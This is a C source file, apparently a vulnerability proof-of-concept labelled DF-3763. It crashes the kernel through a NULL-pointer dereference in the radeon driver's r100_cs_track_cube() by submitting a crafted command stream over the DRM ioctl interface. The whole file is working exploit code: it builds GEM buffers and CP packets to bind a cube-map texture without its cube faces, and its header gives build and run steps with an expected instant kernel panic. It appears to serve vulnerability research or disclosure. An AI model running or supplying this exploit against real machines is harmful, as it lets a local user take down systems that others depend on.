DF-3763 / df3763_cube_null.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 | /* DF-3763 — r100_cs_track_cube() NULL-pointer dereference via CS ioctl * * Trigger (r100..rv280 / r200 asics, separate_cube=1): * 1. PACKET0 RADEON_RB3D_CNTL : valid color fmt, Z disabled (skips zb check) * 2. PACKET0 RADEON_PP_TXFORMAT_0: CUBIC_MAP_ENABLE (tex_coord_type=2) + ARGB8888 * 3. PACKET0 RADEON_PP_TXOFFSET_0 + NOP reloc : bind textures[0].robj * 4. PACKET0 RADEON_PP_CNTL : enable texture unit 0 * 5. PACKET3 3D_LOAD_VBPNTR (c=1) + NOP reloc : bind arrays[0] (PW=2 check passes) * 6. PACKET3 3D_DRAW_VBUF_2 : PW=2, 1 vertex -> r100_cs_track_check() * -> r100_cs_track_texture_check() -> r100_cs_track_cube() * -> radeon_bo_size(track->textures[0].cube_info[0].robj == NULL) => kernel panic * * Build: cc -o df3763 df3763_cube_null.c * Run: ./df3763 /dev/dri/renderD128 (or /dev/dri/card0) * Expected: instant kernel NULL-deref panic (r100.c:2155 radeon_bo_size(NULL)). */ #include <sys/ioctl.h> #include <sys/ioccom.h> #include <fcntl.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> /* ---- minimal uapi re-implementation (no libdrm needed) ---- */ struct rr_gem_create { uint64_t size, alignment; uint32_t handle, initial_domain, flags; }; struct rr_cs_reloc { uint32_t handle, read_domains, write_domain, flags; }; struct rr_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; }; struct rr_cs { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; }; #define RR_GEM_CREATE 0x1d #define RR_CS 0x26 #define RR_IOCTL_GEM_CREATE _IOWR('d', RR_GEM_CREATE, struct rr_gem_create) /* DF drm.h: DRM_IOCTL_BASE='d' */ #define RR_IOCTL_CS _IOWR('d', RR_CS, struct rr_cs) #define RR_CHUNK_ID_RELOCS 0x01 #define RR_CHUNK_ID_IB 0x02 #define RR_CHUNK_ID_FLAGS 0x03 #define RR_GEM_DOMAIN_GTT 0x2 /* r100 CP packet builders */ #define PKT0(reg, n) ((0u<<30) | (((n)&0x3FFFu)<<16) | (((reg)>>2)&0x1FFFu)) #define PKT3(op, n) ((3u<<30) | (((n)&0x3FFFu)<<16) | (((op)&0xFFu)<<8)) #define RADEON_RB3D_CNTL 0x1c3c # define RADEON_RB3D_COLOR_FORMAT_SHIFT 10 # define RADEON_Z_ENABLE (1 << 8) #define RADEON_PP_CNTL 0x1c38 #define RADEON_PP_TXFORMAT_0 0x1c58 # define RADEON_TXFORMAT_ARGB8888 (6 << 0) # define RADEON_TXFORMAT_CUBIC_MAP_ENABLE (1 << 30) #define RADEON_PP_TXOFFSET_0 0x1c5c #define RADEON_SE_VF_CNTL 0x2084 # define RADEON_VF_PRIM_WALK_LIST (2 << 4) # define RADEON_VF_NUM_VERTICES_SHIFT 16 #define PKT3_NOP 0x10 #define PKT3_3D_LOAD_VBPNTR 0x2f #define PKT3_3D_DRAW_VBUF_2 0x34 static int fd; static int gem_create(uint64_t size, uint32_t *handle) { struct rr_gem_create gc; memset(&gc, 0, sizeof(gc)); gc.size = size; gc.alignment = 4096; gc.initial_domain = RR_GEM_DOMAIN_GTT; if (ioctl(fd, RR_IOCTL_GEM_CREATE, &gc)) { perror("GEM_CREATE"); return -1; } *handle = gc.handle; return 0; } static int submit_cs(uint32_t *ib, uint32_t ib_dw, struct rr_cs_reloc *relocs, uint32_t nreloc) { struct rr_cs_chunk chunks[3]; uint64_t chunk_ptrs[3]; struct rr_cs cs; uint32_t flags[2] = { 0, 0 }; /* no KEEP_TILING, ring = GFX */ memset(chunks, 0, sizeof(chunks)); chunks[0].chunk_id = RR_CHUNK_ID_IB; chunks[0].length_dw = ib_dw; chunks[0].chunk_data = (uint64_t)(uintptr_t)ib; chunks[1].chunk_id = RR_CHUNK_ID_RELOCS; chunks[1].length_dw = nreloc * 4; chunks[1].chunk_data = (uint64_t)(uintptr_t)relocs; chunks[2].chunk_id = RR_CHUNK_ID_FLAGS; chunks[2].length_dw = 2; chunks[2].chunk_data = (uint64_t)(uintptr_t)flags; chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0]; chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1]; chunk_ptrs[2] = (uint64_t)(uintptr_t)&chunks[2]; memset(&cs, 0, sizeof(cs)); cs.num_chunks = 3; cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs; if (ioctl(fd, RR_IOCTL_CS, &cs)) { perror("CS"); return -1; } return 0; } int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128"; uint32_t tex_bo, vtx_bo; struct rr_cs_reloc relocs[2]; uint32_t ib[32]; uint32_t n = 0; fd = open(node, O_RDWR); if (fd < 0) { perror(node); return 1; } if (gem_create(64 * 1024, &tex_bo) || gem_create(64 * 1024, &vtx_bo)) return 1; memset(relocs, 0, sizeof(relocs)); relocs[0].handle = tex_bo; relocs[0].read_domains = RR_GEM_DOMAIN_GTT; relocs[1].handle = vtx_bo; relocs[1].read_domains = RR_GEM_DOMAIN_GTT; memset(ib, 0, sizeof(ib)); /* 1. RB3D_CNTL: color fmt 6 (ARGB8888), Z disabled */ ib[n++] = PKT0(RADEON_RB3D_CNTL, 0); ib[n++] = (6 << RADEON_RB3D_COLOR_FORMAT_SHIFT); /* z_enable bit 8 clear */ /* 2. PP_TXFORMAT_0: cubic map enable + ARGB8888 -> tex_coord_type = 2 */ ib[n++] = PKT0(RADEON_PP_TXFORMAT_0, 0); ib[n++] = RADEON_TXFORMAT_CUBIC_MAP_ENABLE | RADEON_TXFORMAT_ARGB8888; /* 3. PP_TXOFFSET_0 + NOP reloc -> textures[0].robj = tex_bo */ ib[n++] = PKT0(RADEON_PP_TXOFFSET_0, 0); ib[n++] = 0; ib[n++] = PKT3(PKT3_NOP, 1); ib[n++] = 0; /* reloc dword index 0 -> relocs[0] */ /* 4. PP_CNTL: enable texture unit 0 (bit 4 of value => unit 0) */ ib[n++] = PKT0(RADEON_PP_CNTL, 0); ib[n++] = 1 << 4; /* 5. 3D_LOAD_VBPNTR, c=1: arrays[0] = vtx_bo, esize = 1 */ ib[n++] = PKT3(PKT3_3D_LOAD_VBPNTR, 2); ib[n++] = 1; /* c = 1 array */ ib[n++] = 1 << 8; /* id dword: esize = (v>>8)&0x7F = 1 */ ib[n++] = 0; /* addr, relocated below */ ib[n++] = PKT3(PKT3_NOP, 1); ib[n++] = 4; /* reloc dword index 4 -> relocs[1] */ /* 6. 3D_DRAW_VBUF_2: PW=2, 1 vertex -> track check -> cube NULL deref */ ib[n++] = PKT3(PKT3_3D_DRAW_VBUF_2, 0); ib[n++] = RADEON_VF_PRIM_WALK_LIST | (1 << RADEON_VF_NUM_VERTICES_SHIFT); printf("submitting %u dwords, expect kernel panic (NULL cube_info robj)\n", n); if (submit_cs(ib, n, relocs, 2) == 0) printf("BUG: CS accepted (should have panicked or been rejected)\n"); return 0; } |